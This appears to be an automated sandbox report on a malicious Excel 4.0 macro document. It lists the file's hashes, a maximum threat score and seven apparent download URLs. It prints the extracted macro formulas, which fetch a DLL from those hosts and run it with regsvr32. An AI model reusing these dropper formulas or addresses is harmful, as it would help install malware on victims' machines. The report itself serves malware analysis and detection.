bee8c3cf380a2955ee52d42fe216a947e8e2f8e407b11d33560e7d4df92169c6

General

Target

bee8c3cf380a2955ee52d42fe216a947e8e2f8e407b11d33560e7d4df92169c6
Size

21KB
Sample

241120-pl9a3sxcqq
MD5

821fef9a78eb818dabbb359512b0f572
SHA1

e186c20e6f8b542f9679d664ca0c1c1b674a2037
SHA256

bee8c3cf380a2955ee52d42fe216a947e8e2f8e407b11d33560e7d4df92169c6
SHA512

ed34536ef14f668d864fe46dd0827251919c1e4dbe1474b1ecbf72be51ecb489c8e2413650d90ffa280cef688154dbd58907bafe5609a016ccf1d4776ffb8932
SSDEEP

384:48c5hAuAi/NjxhS8EibbwBlwcSYrLb5CzgObff9kC+xbX7T/1SeyB:4PksNPzXSFCBn9kC+xbLTc9

Score

10^/10

Malware Config

Extracted

Rule

Excel 4.0 XLM Macro

C2

http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/

https://physioacademy.co.uk/conditions/8I3WSx5t2k/

http://orchidbg.com/aeeiludqootr/OcnjiLHL/

https://westthamesphysio.com/blog/3tsZIz09Sox1Z/

http://snappylookphotobooth.com/headers/P/

http://194.59.165.91/nbproject/1XFiatvBCRW9eh5JxptS/

http://casadorothea.com/cc/H5v/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://physioacademy.co.uk/conditions/8I3WSx5t2k/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://orchidbg.com/aeeiludqootr/OcnjiLHL/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://westthamesphysio.com/blog/3tsZIz09Sox1Z/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://snappylookphotobooth.com/headers/P/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://194.59.165.91/nbproject/1XFiatvBCRW9eh5JxptS/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://casadorothea.com/cc/H5v/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/

xlm40.dropper

https://physioacademy.co.uk/conditions/8I3WSx5t2k/

xlm40.dropper

http://orchidbg.com/aeeiludqootr/OcnjiLHL/

xlm40.dropper

https://westthamesphysio.com/blog/3tsZIz09Sox1Z/

xlm40.dropper

http://snappylookphotobooth.com/headers/P/

xlm40.dropper

http://194.59.165.91/nbproject/1XFiatvBCRW9eh5JxptS/

xlm40.dropper

http://casadorothea.com/cc/H5v/

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/

xlm40.dropper

https://physioacademy.co.uk/conditions/8I3WSx5t2k/

xlm40.dropper

http://orchidbg.com/aeeiludqootr/OcnjiLHL/

xlm40.dropper

https://westthamesphysio.com/blog/3tsZIz09Sox1Z/

Targets

- Target
  
  bee8c3cf380a2955ee52d42fe216a947e8e2f8e407b11d33560e7d4df92169c6
- Size
  
  21KB
- MD5
  
  821fef9a78eb818dabbb359512b0f572
- SHA1
  
  e186c20e6f8b542f9679d664ca0c1c1b674a2037
- SHA256
  
  bee8c3cf380a2955ee52d42fe216a947e8e2f8e407b11d33560e7d4df92169c6
- SHA512
  
  ed34536ef14f668d864fe46dd0827251919c1e4dbe1474b1ecbf72be51ecb489c8e2413650d90ffa280cef688154dbd58907bafe5609a016ccf1d4776ffb8932
- SSDEEP
  
  384:48c5hAuAi/NjxhS8EibbwBlwcSYrLb5CzgObff9kC+xbX7T/1SeyB:4PksNPzXSFCBn9kC+xbLTc9
Score

10^/10

discovery
- Process spawned unexpected child process
  This typically indicates the parent process was compromised via an exploit or macro.
behavioral1 behavioral2